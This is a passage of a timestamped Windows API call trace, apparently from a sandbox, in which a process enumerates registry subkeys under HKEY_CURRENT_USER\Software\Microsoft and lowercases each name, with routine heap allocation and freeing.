WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x439180, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0261.274] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.274] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.274] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.274] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.274] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0x433058, cchName=0x104 | out: lpName="Network") returned 0x0 [0261.274] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.274] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x439258, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0261.274] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.274] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.274] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.274] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.274] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0x433058, cchName=0x104 | out: lpName="Printers") returned 0x0 [0261.274] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.275] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x439180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0261.275] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.275] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.275] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.275] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.275] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, lpName=0x433058, cchName=0x104 | out: lpName="Software") returned 0x0 [0261.275] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.275] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x439258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0261.275] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.275] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.275] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.275] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.275] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x134) returned 0x0 [0261.275] RegCloseKey (hKey=0x80000001) returned 0x0 [0261.275] RegEnumKeyW (in: hKey=0x134, dwIndex=0x0, lpName=0x433058, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0261.275] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0261.275] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x439180, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0261.276] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.276] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.276] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.276] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.276] RegEnumKeyW (in: hKey=0x134, dwIndex=0x1, lpName=0x433058, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0261.276] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.276] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x439258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0261.276] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.276] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.276] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.276] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.276] RegEnumKeyW (in: hKey=0x134, dwIndex=0x2, lpName=0x433058, cchName=0x104 | out: lpName="Clients") returned 0x0 [0261.276] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.276] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x439180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0261.276] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.276] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.276] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.276] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.276] RegEnumKeyW (in: hKey=0x134, dwIndex=0x3, lpName=0x433058, cchName=0x104 | out: lpName="Google") returned 0x0 [0261.276] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0261.276] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x439258, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0261.277] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.277] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.277] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.277] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.277] RegEnumKeyW (in: hKey=0x134, dwIndex=0x4, lpName=0x433058, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0261.277] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.277] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x439180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0261.277] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.277] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.277] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.277] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.277] RegEnumKeyW (in: hKey=0x134, dwIndex=0x5, lpName=0x433058, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0261.277] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.277] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x439258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0261.277] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.277] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.277] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.277] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.277] RegEnumKeyW (in: hKey=0x134, dwIndex=0x6, lpName=0x433058, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0261.277] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.277] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x439180, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0261.278] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.278] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.278] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.278] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.278] RegOpenKeyExW (in: hKey=0x134, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x130) returned 0x0 [0261.278] RegCloseKey (hKey=0x134) returned 0x0 [0261.278] RegEnumKeyW (in: hKey=0x130, dwIndex=0x0, lpName=0x433058, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0261.278] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.278] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x439258, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0261.278] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.278] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.278] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.278] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.278] RegEnumKeyW (in: hKey=0x130, dwIndex=0x1, lpName=0x433058, cchName=0x104 | out: lpName="ActiveMovie") returned 0x0 [0261.278] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.278] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x439180, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activemovie", lpUsedDefaultChar=0x0) returned 11 [0261.278] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.278] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.278] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.278] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.278] RegEnumKeyW (in: hKey=0x130, dwIndex=0x2, lpName=0x433058, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0261.279] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0261.279] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x439258, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0261.279] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.279] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.279] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.279] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.279] RegEnumKeyW (in: hKey=0x130, dwIndex=0x3, lpName=0x433058, cchName=0x104 | out: lpName="ASF Stream Descriptor File") returned 0x0 [0261.279] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0261.279] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x439180, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asf stream descriptor file", lpUsedDefaultChar=0x0) returned 26 [0261.279] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.279] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.279] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.279] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.279] RegEnumKeyW (in: hKey=0x130, dwIndex=0x4, lpName=0x433058, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0261.279] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.279] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x439258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0261.279] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.279] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.280] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.280] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.280] RegEnumKeyW (in: hKey=0x130, dwIndex=0x5, lpName=0x433058, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0261.280] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0261.280] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x439180, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0261.280] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.280] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.280] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.280] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.280] RegEnumKeyW (in: hKey=0x130, dwIndex=0x6, lpName=0x433058, cchName=0x104 | out: lpName="CTF") returned 0x0 [0261.280] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0261.280] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x439258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0261.280] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.280] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.280] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.280] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.280] RegEnumKeyW (in: hKey=0x130, dwIndex=0x7, lpName=0x433058, cchName=0x104 | out: lpName="Direct3D") returned 0x0 [0261.280] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.280] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x439180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="direct3d", lpUsedDefaultChar=0x0) returned 8 [0261.280] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.280] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.281] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.281] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.281] RegEnumKeyW (in: hKey=0x130, dwIndex=0x8, lpName=0x433058, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0261.281] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.281] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x439258, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0261.281] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.281] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.281] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.281] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.281] RegEnumKeyW (in: hKey=0x130, dwIndex=0x9, lpName=0x433058, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0261.281] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.281] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x439180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0261.281] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.281] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.281] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.281] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.281] RegEnumKeyW (in: hKey=0x130, dwIndex=0xa, lpName=0x433058, cchName=0x104 | out: lpName="Fax") returned 